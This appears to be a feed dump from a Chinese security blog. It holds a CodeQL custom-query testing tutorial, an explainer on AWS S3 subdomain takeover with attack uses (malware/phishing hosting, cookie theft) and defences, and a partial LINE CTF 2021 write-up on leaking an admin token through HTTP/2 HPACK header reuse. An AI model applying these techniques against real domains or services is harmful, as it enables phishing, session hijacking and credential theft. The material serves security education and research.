TonghuaRoot's BloG. - Cyber security enthusiast, not Hacker. Know it, then Hack it! 2021-12-18T06:37:56.000Z https://tonghuaroot.com/ TonghuaRoot Hexo Using CloudFront Relay Cobalt Strike Traffic https://tonghuaroot.com/2021/12/18/Using-CloudFront-Relay-Cobalt-Strike-Traffic/ 2021-12-18T06:37:22.000Z 2021-12-18T06:37:56.000Z 原文发在了我的公众号上,链接为:https://mp.weixin.qq.com/s/NdR6XBFvhSOBsLVVQmTXJg

]]>
<p>原文发在了我的公众号上,链接为:<a href="https://mp.weixin.qq.com/s/NdR6XBFvhSOBsLVVQmTXJg">https://mp.weixin.qq.com/s/NdR6XBFvhSOBsLVVQmTXJg</a></p>
Static Program Analysis Intruction https://tonghuaroot.com/2021/12/18/Static-Program-Analysis-Intruction/ 2021-12-18T06:35:48.000Z 2021-12-18T06:36:18.000Z 原文发在了我的公众号上,链接为:https://mp.weixin.qq.com/s/jm2I-_L_NUBTYNhEUBv-iA

]]>
<p>原文发在了我的公众号上,链接为:<a href="https://mp.weixin.qq.com/s/jm2I-_L_NUBTYNhEUBv-iA">https://mp.weixin.qq.com/s/jm2I-_L_NUBTYNhEUBv-iA</a></p>
Google 是如何落地静态代码分析的 https://tonghuaroot.com/2021/12/18/Lessons-from-Building-Static-Analysis-Tools-at-Google-Notes/ 2021-12-18T06:30:45.000Z 2021-12-18T06:32:30.000Z 原文发在了我的公众号上,链接为:https://mp.weixin.qq.com/s/9iJNZCQfHg0VbWSFRgwVJg

]]>
<p>原文发在了我的公众号上,链接为:<a href="https://mp.weixin.qq.com/s/9iJNZCQfHg0VbWSFRgwVJg">https://mp.weixin.qq.com/s/9iJNZCQfHg0VbWSFRgwVJg</a></p>
为 CodeQL 自定义规则编写测试文件 https://tonghuaroot.com/2021/09/18/Write-test-files-for-CodeQL-custom-rules/ 2021-09-18T09:42:20.000Z 2021-09-18T10:07:02.000Z 为 CodeQL 自定义查询规则编写测试文件

0x00 前言

最近花了点时间研究 CodeQL,写了几个查询规则,效果还凑活。在翻 CodeQL 的官方库的时候里头有一些 test 文件啥的,这对我理解官方的查询规则非常有帮助。然后总 jio 着自己写的这几个规则差了点意思,就学了下 CodeQL 的测试文件怎么写,一边看文档一边测试,于是便有了本文。

CodeQL 提供了一个测试框架,用于对查询规则进行自动化回归测试,确保我们自定义的查询规则符合预期。

在执行查询测试时,CodeQL 会对用户期望的结果,和执行测试时实际产生的结果进行比较。如果预期的结果与实际产生的结果不同,该查询测试将会失败。为了 Fix 该条测试,我们应该迭代查询规则以及预期的查询结果,直到预期结果与实际结果完全一致。

本文主要介绍如何创建测试文件,以及使用 test run子命令执行测试。

全文主要包含如下内容:

  1. 为自定义查询设置测试 QL 包
  2. 为查询规则设置测试文件
  3. 运行 codeql test run
  4. 示例
  5. 后记
  6. References

0x01 为自定义查询设置测试 QL 包

CodeQL 测试文件必须存储于指定的测试 QL 包中,即我们将包含 qlpack.yml 文件的目录称为“测试 QL 包(test QL pack)”,qlpack.yml 文件格式如下:

1
2
3
4
name: <name-of-test-pack>
version: 0.0.0
libraryPathDependencies: <codeql-libraries-and-queries-to-test>
extractor: <language-of-code-to-test>

在 CodeQL 的官方库中,Java Queries 的 test QL pack 为 codeql/java/ql/test,其中 qlpack.yml 内容为:

1
2
3
4
5
6
7
name: codeql/java-tests
version: 0.0.2
dependencies:
codeql/java-all: "*"
codeql/java-queries: "*"
extractor: java
tests: .

libraryPathDependencies 的值指定了测试哪些查询规则。extractor 定义哪一个语言的 CLI 将被用于基于 QL pack 中的代码文件创建测试数据库,详情可参考链接 [3]。

在 CodeQL 的官方仓库中,每一个语言均有一个 src 目录,ql//ql/src,包含库和查询规则(我看了一下,实际上库是放在与 src 同级的 lib 目录下),同级目录下还有一个 test 目录,即为用于测试这些库和查询规则的测试文件存放位置。

test 目录被定义为 test QL Pack,其中包含若干个子目录,每个子目录的作用如下:

  1. query-tests 目录下,包含一系列子目录,每一个子目录下包含测试代码,和一个 QL reference 文件,用于指定对应的查询规则。
  2. library-tests 目录下,包含一系列列子目录,每一个子目录下包含测试代码,以及一个查询规则,该查询规则引用了对应的库,作为单元测试使用。
  3. experimental 目录下,包含一系列子目录。Github Security Lab 搞了一个 bounty 项目[4],接收外部安全研究员提交过来的有价值的查询规则,相关查询规则的测试文件均会放在该目录下。

0x02 为查询规则设置测试文件

对于每一个我们想要测试的查询规则来说,我们都应该在测试 QL 包(test QL pack)下创建一个子目录。然后在运行测试命令之前增加下列文件:

  1. 一个 query reference 文件(.qlref 文件),定义需要测试的查询规则的位置。该位置定义为包含查询规则的 QL pack 根目录下的相对位置。如:experimental/Security/CWE/CWE-759/HashWithoutSalt.ql 通常情况下,这个 QL pack 的目录会在 test pack 中通过 libraryPathDependencies 进行指定,参考链接[5]。

如果我们的查询规则位于 test 目录下,则无需定义 query reference 文件,但是从通用的最佳实践的角度来讲,仍然建议将查询规则与 test 文件分离在不同的目录下。唯一的例外是对 QL 库进行单元测试,其更倾向于存储与 test pack 中,和生成告警和 path 的查询规则进行分离。

  1. 一个查询规则针对的测试代码,这应该包含一个或多个文件,包含查询规则可以识别的代码示例。

我们可以定义一个预期的结果,用于与当我们针对测试代码执行指定的查询规则时产生的结果进行比较,该文件为 .expected 后缀。我们可以使用测试命令生成对应的 .expected 文件。(需要注意的是,当我们采用 CodeQL CLI 2.0.2–2.0.6 时,需要创建一个空的 .expected 文件,否则测试命令无法找到 test 查询。)

注:

  1. .ql、.qlref 、.expected 文件必须采用统一的文件命名。
  2. 如果想要在测试命令后直接指定 .ql 文件,必须有与之相对应的 .expected 文件。举例来说,如果查询规则名为 MyJavaQuery.ql,预期的执行结果文件必须为 MyJavaQuery.expected。
  3. 如果需要在命令中指定 .qlref 文件,也必须有与之相对应的 .expected 文件,但此处查询规则文件可以有与之不相同的名字。
  4. 示例代码文件名字不是必须与其他的测试文件统一,在 .qlref (或 .ql)文件相邻的示例代码以及子目录中的文件均会被用于创建测试数据库。因此,不要将测试文件保存在上级目录中。

0x03 运行 codeql test run

通过如下命令可以执行 CodeQL 的查询测试:

1
codeql test run <test|dir>

<test|dir> 参数可以是如下内容的一个或多个:

  1. .ql 文件地址
  2. .qlref 文件地址
  3. 用于递归检索 .ql 和 .qlref 文件位置的目录

也可以指定如下参数:

–threads,可选参数,用于指定运行查询规则时的线程数,默认值为 1,可以指定更多的线程数加快查询执行速度。指定 0 将会匹配 逻辑处理器(logical processors)的数量。

详细命令选项可以参考链接[6]。

0x04 示例

下列的示例代码展示了,如何为一个查询规则设置测试文件,该查询规则的内容是查询 Java 代码中 if 语句中,空的 then 代码块。包括如何增加自定义的查询规则和自定义的测试文件到一个 CodeQL 仓库 checkout 之外的 QL pack 中。

一、准备查询规则和相应的测试文件

  1. 写一个查询规则, 举例来说,如下查询规则, 可以发现 Java 代码中空的 then 代码块:
1
2
3
4
5
import java

from IfStmt ifstmt
where ifstmt.getThen() instanceof EmptyStmt
select ifstmt, "This if statement has an empty then."
  1. 在我们自建的查询目录中,创建一个名为 EmptyThen.ql 的文件写入上述文件内容。如:C:\Users\Administrator\Downloads\CodeQL_HOME\custom-queries\java\queries\EmptyThen.ql
  2. 在 custom-queries/java/queries 目录下创建 qlpack.yml 文件,定义 QL Pack,文件内容如下:
1
2
3
name: my-custom-queries
version: 0.0.0
libraryPathDependencies: codeql-java

关于 QL packs 的更多信息,可以参考链接[7]。

  1. 在 test 目录(custom-queries/java/tests)下,创建 qlpack.yml 文件,定义为 test QL pack,文件内容如下,注意 libraryPathDependencies 的值要与我们自定义的查询 QL pack 相匹配:
1
2
3
4
5
name: my-query-tests
version: 0.0.0
libraryPathDependencies: my-custom-queries
extractor: java
tests: .

qlpack.yml 文件声明了,my-query-tests 依赖 my-custom-queries,同时该文件也声明了,CLI 会使用 Java extractor 创建数据库。支持 CLI 2.1.0 及以上版本,tests: . 行,声明在 pack 中的所有 .ql 文件当我们执行 codeql test run 命令指定 –strict-test-discovery 参数时都会被当做 test 进行运行。

  1. 在 Java test pack 中创建一个测试目录,用于包含与 EmptyThen.ql 相关联的测试目录,如:custom-queries/java/tests/EmptyThen

  2. 在这个新的目录中,创建 EmptyThen.qlref 定义EmptyThen.ql 的位置。查询规则的地址,必须指定为包含查询的 QL pack 的相对根路径。在被例中,查询规则所在 QL Pack 的顶级目录为 my-custom-queries,其作为依赖被声明在了 my-query-tests 中。因此,EmptyThen.qlref 中的内容为 EmptyThen.ql 即可。

  3. 创建用于测试的代码片段,如下代码片段在第三行包含了一个空的 if 代码块,保存在 custom-queries/java/tests/EmptyThen/Test.java 中。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Test {
public void problem(String arg) {
if (arg.isEmpty())
;
{
System.out.println("Empty argument");
}
}

public void good(String arg) {
if (arg.isEmpty()) {
System.out.println("Empty argument");
}
}
}

二、执行测试

移动到 custom-queries 目录,执行 codeql test run java/tests/EmptyThen 命令进行测试。

执行测试时,CodeQL 会进行如下几项操作:

  1. 在 EmptyThen 目录下查找测试文件
  2. 基于 EmptyThen 目录下的 .java 文件生成 CodeQL 数据库
  3. 编译 EmptyThen.qlref 中引用的查询规则

如果第 3 步骤失败了,这可能是由于 CodeQL 无法找到自定义的 QL Pack 导致的,重新运行命令,并且指定自定义 QL Pack 的位置,如:codeql test run –search-path=java java/tests/EmptyThen,如何将搜索地址(search path)作为配置文件的一部分,可以参考链接[8]。

  1. 通过运行查询规则、执行测试,生成 EmptyThen.actual 结果文件
  2. 检查 EmptyThen.expected 文件和 .actual 文件内容进行比较
  3. 报告测试结果,在本例中,存在一个失败的 case 0 tests passed; 1 tests failed:,测试失败是因为我们没有增加 EmptyThen.expected 文件

1

三、查看查询规则的测试输出

CodeQL 会在 EmptyThen 目录中,生成如下测试结果:

  1. EmptyThen.actual - 查询规则生成的真实测试结果
  2. EmptyThen.testproj - 可以加载进 VS Code 用于 debug test 失败原因的测试数据库。当测试完全成功,测试数据库会被自动删除,可以通过 –keep-databases 参数保留该测试数据库。

在本例中,测试失败符合预期,并且容易被解决。EmptyThen.actual 中的文件内容如下:

1
| Test.java:3:5:3:22 | if (...) | This if statement has an empty then. |

文件中包含了一张表,一列是查询结果的代码位置,接下来每一列是查询规则,select clause 的输出。由于结果符合预期,我们可以将该文件名更新为 EmptyThen.expected 作为符合预期的文件。

此时,重新运行测试命令,将会执行成功,所有的测试用例将会通过。

2

如果查询结果发生了改变,举例来说,如果你修改了查询规则的 select 语句,测试将会失败。对于失败的测试结果,CLI 的输出包括 EmptyThen.expected 和 EmptyThen.actual 的 diff 内容内容,这些信息可以用来 debug 简单的 test 失败场景。

对于难以去 debug 的复杂 test 场景,我们可以导入 EmptyThen.testproj 至 CodeQL for VS Code 中,执行 EmptyThen.ql,分析针对 Test.java 的查询结果,详情可以参考链接 [9]。

0x05 后记

最后晒一下,我的几个自定义查询规则的测试执行结果(官方示例就是直来直去的 Java 代码,直接编译即可,我的是 Spring Boot 下头的几个场景,所以会复杂一丢丢):

1
codeql test run java/ql/test/experimental/query-tests/security/XXX --search-path=java --show-extractor-output

3

0x06 References

  1. codeql/java/ql/test/qlpack.yml - https://github.com/github/codeql/blob/main/java/ql/test/qlpack.yml
  2. Testing custom queries - https://codeql.github.com/docs/codeql-cli/testing-custom-queries/
  3. About QL packs - https://codeql.github.com/docs/codeql-cli/about-ql-packs/
  4. Github Security Lab Bounty Project - https://hackerone.com/github-security-lab?type=team&view_policy=true
  5. Query reference files - https://codeql.github.com/docs/codeql-cli/query-reference-files/
  6. test run - https://codeql.github.com/docs/codeql-cli/manual/test-run/
  7. About QL packs - https://codeql.github.com/docs/codeql-cli/about-ql-packs/
  8. Specifying command options in a CodeQL configuration file - https://codeql.github.com/docs/codeql-cli/specifying-command-options-in-a-codeql-configuration-file/#specifying-command-options-in-a-codeql-configuration-file
  9. Analyzing your projects - https://codeql.github.com/docs/codeql-for-visual-studio-code/analyzing-your-projects/#analyzing-your-projects
]]>
<h1 id="为-CodeQL-自定义查询规则编写测试文件"><a href="#为-CodeQL-自定义查询规则编写测试文件" class="headerlink" title="为 CodeQL 自定义查询规则编写测试文件"></a>为 CodeQL 自定义查询规则编写测试
AWS S3 subdomain takeover https://tonghuaroot.com/2021/04/10/AWS-S3-subdomain-takeover/ 2021-04-10T11:59:31.000Z 2021-05-07T12:00:00.000Z 浅析 AWS S3 子域名接管漏洞

0x00 前言

哈喽,大家好,我是童话。

前段时间和 @鶇 师傅讨论了一个特殊场景下的子域名接管漏洞,蛮 trick 的一个利用方法。我们见到有白帽子确实利用成功了,然后想了下,理论可行,但是我还没来得及做测试,所以不是今天讨论的重点,后面有机会再和大家分享。

步入正题,今天就以 AWS S3 为例,来跟大家分享一下什么是子域名接管(subdomain takeower)漏洞,以及如何挖掘子域名接管漏洞。

全文主要包含如下几部分内容:

  1. 什么是子域名接管漏洞?
  2. 子域名接管漏洞有哪些危害(利用场景)?
  3. 什么是 AWS S3?
  4. 在什么场景下,AWS S3 会出现子域名接管漏洞?
  5. (攻)如何自动化挖掘子域名接管漏洞?
  6. (防)如何缓解子域名接管漏洞的危害?
  7. 碎碎念

0x01 什么是子域名接管漏洞?

子域名接管漏洞通常是由于域名管理员将企业拥有的子域名解析至未被使用的第三方 SaaS 服务上导致的。

攻击者可以控制该第三方服务页面的内容,子域名解析至这个可以被攻击者控制的第三方服务页面,进而可以利用该子域名接管漏洞实施攻击。

常见的由于错误的配置容易导致子域名接管漏洞的 SaaS 服务有:Github Pages、AWS S3、Wordpress 等,关于目前已知公开可以被接管的服务,可以参考链接[3]获取详细列表。

0x02 子域名接管漏洞有哪些危害(利用场景)?

说到这里,有的同学可能就会问了,域名管理员为什么要把子域名解析到未被使用的第三方服务上呢,这个人也太不专业了吧。

抛开专业与否不谈,就我遇到的几个案例来看,大多数情况是由于因为业务需求将子域名解析到了第三方服务上(比如说将子域名解析到 AWS S3 上托管一些静态的 HTML/JS 资源),但是由于业务调整,删除了这些不在使用的第三方服务(S3 Bucket 被删了),而此时的域名解析仍然存在,因此,产生了子域名接管漏洞,这种场景很常见。

那可能有的同学又要说了,这是网络资源管理不规范导致的啊,是不是这个企业的体量太小,没有规范的产品上线流程呢?是,也不是,一方面肯定是跟域名管理流程脱不开关系,另一方面这个和企业体量并不直接相关,反倒是越大的企业,因为其线上业务的复杂性,越容易出现这些照顾不到的薄弱点。(这也就是安全行业经常提到的,越大的企业越容易搞,越容易突破边界,反倒是那些挂了一个静态页面或者搞了个啥插件都没有的 Wordpress Blog,难搞的一逼。)

废话不多说,上几个数据支撑。

这个是我两年前挖到的一个微软的子域名接管漏洞:

经常玩 HackerOne 的朋友肯定会知道,星巴克和 Mail.ru 这几年在子域名接管漏洞上也是发出了大量的 bounty(赏金)[4]。

可以看到,各类厂商都是非常愿意为这类漏洞买单的,我个人认为子域名接管漏洞,属于利用成本低,危害较大的一个漏洞类型。

那我们接下来就聊一下,子域名接管漏洞的实际危害和利用场景。

1.

相对比较容易理解的一个场景就是,作为攻击者,可以直接篡改子域名的内容,种马,搞一些钓鱼啊这类的。

这里有一个很有意思的一个点,很多企业的邮件安全网关都会对邮件中的第三方链接、附件等进行安全检测、跑沙箱等等检测是否有异常行为。

而针对企业自身的域名往往会采用白名单放行,接下来怎么玩,不用我多说了吧。(也别问我是怎么知道的 hhh

2.

再就是可以利用子域名接管漏洞,搞一些 XSS,劫持受害者的 Cookie。

比如说,一些站点会加载这个域名下的一些 js,而这个子域名中的内容是可控的,进而我们可以将这个子域名接管漏洞转换成一个存储型的 XSS 漏洞。

在一些微服务的业务场景下,主域名和子域名是共享 cookie 的,如果我们可以控制子域名的内容,也可以达到劫持主站 Cookie 的目的。

3.

如果有小伙伴知道其他利用场景的话,可以在文章下方留言讨论分享哈。

0x03 什么是 AWS S3?

给大家介绍一下今天的主角 AWS S3。

Amazon Simple Storage Service (Amazon S3) 是一种对象存储服务,提供行业领先的可扩展性、数据可用性、安全性和性能[5]。

我们可以使用 Amazon S3 随时在 Web 上的任何位置保存和取回任何数量的数据。可以使用简单而直观的 Web 界面 AWS 管理控制台来完成这些任务[6]。

AWS S3 提供静态网站托管的功能[7]。一个典型的业务场景就是,业务部门将一些静态 HTML/JS 资源存储在 S3 中,并启用静态网站托管功能。将其子域名解析至 S3 为其分配的静态网站 endpoint 上,供其用户访问。

0x04 在什么场景下,AWS S3 会出现子域名接管漏洞?

如前文所述,由于业务需求的变更,这个 S3 静态网站不在使用,业务部门将 S3 Bucket 删除,而域名管理员未删掉域名 CNAME 解析记录,任意 AWS 客户均可创建一个同名的 S3 Bucket,并控制 S3 Bukcet 中的内容,AWS S3 子域名接管漏洞便产生了。

0x05 (攻)如何自动化挖掘子域名接管漏洞?

作为白帽子,我们现在已经知道了什么是子域名接管漏洞,以及子域名接管漏洞的危害,接下来我们要做的事情就是如何主动的发现这类子域名接管漏洞。

如何判断一个子域名是否存在子域名接管漏洞,一共有两个步骤:

  1. 通过 DNS 解析情况,判断其是否解析到了第三方服务上
  2. 通过发起 HTTP(S)请求,判断响应内容是否包含指定特征(拿 AWS S3 举例来说,如果存在子域名接管漏洞的话,会返回 The specified bucket does not exist 特征。)

还有一个场景,就是 NS 记录可控导致的子域名接管漏洞,详细的玩法可以参考 Kubernetes 的这个案例[8]。

在这里我向大家推荐一个检测子域名接管漏洞的开源项目 subjack[2](我的全自动化漏洞发现平台,用了它的一部分指纹。)

安装和使用方法也比较简单,可以直接参考项目的 README。

我们可以将该工具集成到自动化漏洞发现工作流(workflow)中,自动化的域名资产发现,定期的子域名接管漏洞检测,添加一些私有的漏洞识别规则,实时告警等,这个有点偏离了本文的主题了,后面有机会再聊。

0x06 (防)如何缓解子域名接管漏洞的危害?

其实作为防御型的团队来说,除了被动挨打之外,相比外部的攻击者,其实我们是有非常多的优势的:

  1. 甲方团队拥有全量的资产信息,可以实时监控到资产的变化
  2. 从信息安全意识、研发流程等各个阶段介入,规范化域名解析流程
  3. 从架构上去优化,比如说解析到非核心业务子域名

从源头上尽量避免漏洞产生,漏洞产生时第一时间检测到,以及漏洞即使被利用了,危害程度也会被大大降低,等多维度的覆盖到子域名接管漏洞的全生命周期。

关于甲方视角的漏洞发现,@FEEI 师傅写了一篇很棒的文章,有兴趣的朋友可以去参考一下[9]。

在缓解子域名接管漏洞方面,除了甲方团队要做很多事情之外,提供第三方服务厂商能做些什么吗?

一些厂商,在遇到这类问题的时候,肯定第一时间就甩锅啦,说这个用户配置的问题,和他们产品本身的安全性无关。

话虽然这样讲,但其实还是可以做一些事情来从源头上缓解这类问题的。

作为云计算行业担当,AWS 在这一点就做的相当不错,AWS 给 CloudFront 加了一个功能[10][11],验证子域名确实归属当前客户(当前客户拥有该域名的配置权限),来彻底解决了 CloudFront 的子域名接管漏洞,我们可以和 CloudFront 子域名接管漏洞说永别啦!

0x07 碎碎念

关于 AWS S3 子域名接管漏洞利用的一个坑点,S3 Bukcet 名字要和子域名完全相同的场景下才能利用子域名接管漏洞,如果名字不同是不能利用的。

这是因为当我们访问 S3 的静态网站时,S3 会根据 Host 字段将我们的请求映射到对应的 Bucket,如果名称不同则无法映射到我们可控的 S3 Bucket 上,当然如果恰好映射到的那个 bucket 可控,那只能说我们运气爆棚 hhh

有一篇信息安全顶会的论文,拿 wordpress 为例,刨析了一下网络空间内子域名接管漏洞的情况,有兴趣的读者也可以去了解一下。

0x08 一个彩蛋

我之前写过一个 S3OSINT,主要用于发现网络空间内可以未授权访问的对象存储服务,头两天看到一个老外也做了类似的事情(思路应该差不多,因为我发现他的数据量只比我多一点点),并且提供了有一定免费额度的商业化服务,有需要的小伙伴可以问我要。

0x09 References

  1. A GUIDE TO SUBDOMAIN TAKEOVERS - https://www.hackerone.com/blog/Guide-Subdomain-Takeovers
  2. haccer/subjack - https://github.com/haccer/subjack
  3. EdOverflow/can-i-take-over-xyz - https://github.com/EdOverflow/can-i-take-over-xyz
  4. HackerOne Hacker Activity subdomain takeover - https://hackerone.com/hacktivity?querystring=subdomain%20takeover
  5. Amazon S3 - https://aws.amazon.com/cn/s3/
  6. Amazon S3 入门 - https://aws.amazon.com/cn/s3/getting-started/
  7. Hosting a static website using Amazon S3 - https://docs.aws.amazon.com/AmazonS3/latest/userguide/WebsiteHosting.html
  8. Route53 Subdomain Takeover on test-cncf-aws.canary.k8s.io - https://hackerone.com/reports/794382
  9. 基于甲方视角的漏洞发现
  10. cloudfront takeover is not possible anymore - https://github.com/EdOverflow/can-i-take-over-xyz/issues/29)
  11. Continually Enhancing Domain Security on Amazon CloudFront - https://aws.amazon.com/cn/blogs/networking-and-content-delivery/continually-enhancing-domain-security-on-amazon-cloudfront/
]]>
<p>浅析 AWS S3 子域名接管漏洞</p> <h2 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00 前言"></a>0x00 前言</h2><p>哈喽,大家好,我是童话。</p> <p>前段时间和
HTTP/2 Header Field Re-used Attack Trick https://tonghuaroot.com/2021/03/29/HTTP-2-Header-Field-Re-used-Attack-Trick/ 2021-03-29T11:57:24.000Z 2021-05-07T11:58:00.000Z 0x00 前言

哈喽,大家好,我是童话。

最近一段时间一直没更新博客[1],一方面是自己懒了,另一方面是由于工作性质的原因,很多工作中有趣的事情也不方便拿出来讲,又没有特别大块的时间去系统的搞一些独立项目、安全研究等,更新博客的事情便一拖再拖。

前阵子偶然看到 @Panda 师傅的公众号,更新频率以及质量都很高,至少我读过之后还是蛮有收获的,能在保持如此更新频率的情况下,还要兼顾质量,对于一个工作党来说,我个人认为这一点非常难得,并且是值得学习的。

说来惭愧,自己在 3 年前也注册过公众号,遗憾的是至今没有更新过一篇文章。

每次写博客的时候,我都在想要输出什么样的内容,最开始写东西的时候我都会事无巨细的写下来,包括操作流程、思考的过程。

有一段时间看到其他博主在写文章的时候只展示关键的操作步骤,并遗漏掉思考的过程,我发现很多安全学术界的论文也有这种现象。

这就导致了一个问题,从读者的角度来看,对于不熟悉的垂直领域,看到这样的文章,乍一看不明觉厉,实际操作起来没有办法复现,干着急,如果读者对这个领域比较熟悉的话,文章本身对他来说又没有特别多的价值,食之无味,弃之可惜。

我也曾经也模仿过这种写作风格,但我发现,这都不是我自己。前阵子在参加 Hacking Club 沙龙的时候,@Snowming 也和我说过,写文章的时候要考虑读者的感受,这样才能保证大家都有收获。

我想确实是这样的,至少几个月之后回头来看,我自己还是可以顺着整个文章完整的对某一个技术点进行复现。

在现实生活中,我并不是一个擅长表达的人,也很少去和朋友谈及我对某一件事情的看法和感受。思来想去,还是决定把这个公众号运营起来,对于这个公众号的定位,一来是分享一些不会太长但绝对有趣的安全技术知识点,另一方面也是向朋友们汇报一下我的近况,互通有无。

对于实时安全漏洞/事件跟进,我也许会发,也许不会发,虽然我很擅长这些,但是我确实不想在公众号运营上花费太多的时间。

0x01 LINE CTF 2021 - babyweb

好了,啰嗦了这么多,进入今天的正题,来聊一聊 LINE CTF 2021 [2] 中 babyweb 这道题。

(比较有意思的是,在比赛开始之前,我的赛棍学弟 @T4rn 师傅跟我聊到的几个 Web 安全考点,几乎全部命中了。)

先来看一下题目:

Hint: babyweb/Neko is cute

源码:https://linectf.me/files/1db709b29e1b03b8f3a53102af0d5d6e/babyweb.tar.gz?token=eyJ1c2VyX2lkIjozMTEsInRlYW1faWQiOjIxOSwiZmlsZV9pZCI6OX0.YF8yeg.0rx3_9pOkTTFO53cmdyjRR5OuQc

题目地址:http://35.187.196.233/

0x02 Writeup

黑盒大概浏览一下,功能比较简单,【Home】主页,【Note】添加和浏览笔记,直接暴露在外部的就没有其他的功能点了。

翻一下代码,这里比较银杏化的一点是,LINE CTF 的 Web 题目都是用 Docker 搭建的,我们可以把代码保存下来,未来可以用 Docker Compose 一键部署进行测试学习。

本地运行环境(我用的是 CentOS 7,需要提前安装好 Docker 和 Docker Compose):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
sudo yum remove docker \
docker-client \
docker-client-latest \
docker-common \
docker-latest \
docker-latest-logrotate \
docker-logrotate \
docker-engine

sudo yum install -y yum-utils

sudo yum-config-manager \
--add-repo \
https://download.docker.com/linux/centos/docker-ce.repo

sudo yum install docker-ce docker-ce-cli containerd.io
sudo systemctl start docker

sudo yum install docker-compose -y

bash run.sh

如果你的操作系统默认的 Python 为 python2,运行上述命令时,会报错误“SyntaxError: invalid syntax”,修改 run.sh 中的 python 为 python3 即可解决。

浏览了一下 run.sh、gen.py、docker-compose_tmp.yml 这 3 个文件,运行环境由 3 个 service 支撑,分别为 babyweb_public、babyweb_internal、babyweb_httpd。

由端口映射情况可知,babyweb_httpd 为我们刚刚访问,暴露在外部的服务。由环境变量的设置情况可知,Flag 埋在 babyweb_internal 服务中。

检查在 /home/centos/CTF 目录下所有文本文件中包含 12000、12001 的行号:

1
2
grep -rnw '/home/centos/CTF' -e '12000'
grep -rnw '/home/centos/CTF' -e '12001'

通过 httpd/httpd.conf 的文件内容(L552-L563)可知,babyweb_httpd 为一个反向代理,将请求转发到后端的 http://babyweb_public:12000/ 中。

1
2
3
4
5
6
7
8
9
10
11
12
<VirtualHost *:80>
ErrorDocument 503 "NOP"
ErrorDocument 502 "NOP"
ErrorDocument 501 "NOP"
ErrorDocument 401 "NOP"
ErrorDocument 400 "NOP"

ProxyRequests Off
ProxyPreserveHost On
ProxyPass / http://babyweb_public:12000/
ProxyPassReverse / http://babyweb_public:12000/
</VirtualHost>

基于上述信息,猜测完整的交互情况为:外部用户访问 12001 端口(CTF 竞赛环境为 80,自建测试环境为 12001)的 babyweb_httpd 服务,babyweb_httpd 将请求转发至后端的 babyweb_public,babyweb_public 部分功能依赖 babyweb_internal,在某种情况下可以请求拿到 Flag。
继续分析一下 public、internal 两个目录下的源码,public 是基于 Flask 开发的 Web 应用,internal 是一个 Node 应用。逆序梳理出获取 Flag 的思路如下,
请求 /flag 路由,在请求头中携带正确的 x-token 信息获取 Flag:

1
https://babyweb_internal:8443/flag -> router() -> getFlag() -> req.headers['x-token'] , checkToken() -> verify() -> decode() -> CONFIG.flag

请求 /auth 路由,在请求头中携带正确的用户名和密码信息,生成 JWT token:

1
https://babyweb_internal:8443/auth -> route() -> auth() -> -> req.headers[CONFIG.header.username], req.headers[CONFIG.header.password], authCheck() -> encode()

babyweb_public 是一个 Flask 应用,其通过 Blueprint 的方式定义了 /internal/health 路由(POST 请求),会向 https://babyweb_internal:8443/authhttps://babyweb_internal:8443/health 发起请求。
我们可以采用如下 HTTP 报文,通过响应内容验证请求已经可以抵达后端 Node 应用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /internal/health HTTP/1.1
Host: 35.187.196.233
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=eyJ1aWQiOiJkZTBmZWJiNS1hYTk5LTQyZjktYWZlZS0yZTE1NTRmNjIzNGIifQ.YGAK1Q.-aUr8s8SrSq0bx6iKZz7D0MsSas
Upgrade-Insecure-Requests: 1
Content-Type: application/json;charset=utf8
Content-Length: 32


{"type": "1.1", "data": "222"}

接下来就是这道题的核心考点,public/src/internal.py#L45-L61:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
elif data["type"] == "2":
conn = create_connection()
conn.request("GET", "/health")
resp = conn.get_response()

headers = {
cfg["HEADER"]["USERNAME"]: cfg["ADMIN"]["USERNAME"],
cfg["HEADER"]["PASSWORD"]: cfg["ADMIN"]["PASSWORD"]
}
conn.request("GET", "/auth", headers=headers)
resp = conn.get_response()

conn._new_stream()

conn._send_cb(data["data"].encode('latin-1'))
conn._sock.fill()
return conn._sock.buffer.tobytes()

再次梳理一下思路,突破这部分关键代码(public/src/internal.py#L57-L61),通过某种方式获取 JWT token,利用获取到的 JWT Token 请求获取 Flag。

Hyper 是一个基于 Python 实现的 HTTP/2 客户端 [7],_send_cb() 方法通过连接的 stream socket 发送任意数据,相关的源码为 [8],也就是说,我们可以利用_send_cb()方法,在新的 stream 中,创建一个新的 HTTP 请求,即 data["data"].encode('latin-1') 中的内容。

说到这里,要简单科普一下 HTTP/2 中 stream 的概念。在 HTTP/2 中,一个 connection(连接) 被分为多个 stream,每一个 stream 携带单独的 request-response(请求-响应)对 [9],Hyper 确保每一个响应匹配到正确的请求中。
HPACK 是 HTTP/2 用于压缩编码 Header 信息的压缩算法规范,hpack 是一个 Python 第三方库,提供 Python 接口实现 HPACK 压缩算法,用于压缩 HTTP/2 中的 HTTP Header [11]。

We also found out that HTTP2 has Huffman Coding and some of useful information can be re-referenced and re-used in the upcoming stream.[6]

HTTP/2 采用 Huffman 编码,在 upcoming stream 中一些有价值的信息可以被 re-referenced/re-used。

Hyper 压缩算法会将 HTTP Header 中的常用字符串用数字来代替 ,以此来减少 Header 中的字节数。这个 Huffman 编码是说,将一些高频次出现的数字采用更精简的字节来代替,比如对于数字 1 来说,我们可以采用 8 bit 的 1 个 byte 来表示,也可以直接采用 1 bit 来表示,以此来使 HTTP Header 的整体字节数更少。我们前面提到过,一个 HTTP/2 connection 包含多个 stream,每一个 stream 都会携带单独的 request-response(请求-响应)对,每一个 request 都存在一个 Header 信息,Header 中的字段可以视为 name-value 的有序集合,字段的顺序在经过 Hyper 压缩算法压缩前后顺序不变,所以此时,我们的思路就是通过遍历字段索引(index)方式即可获取到每一个 Header 字段。

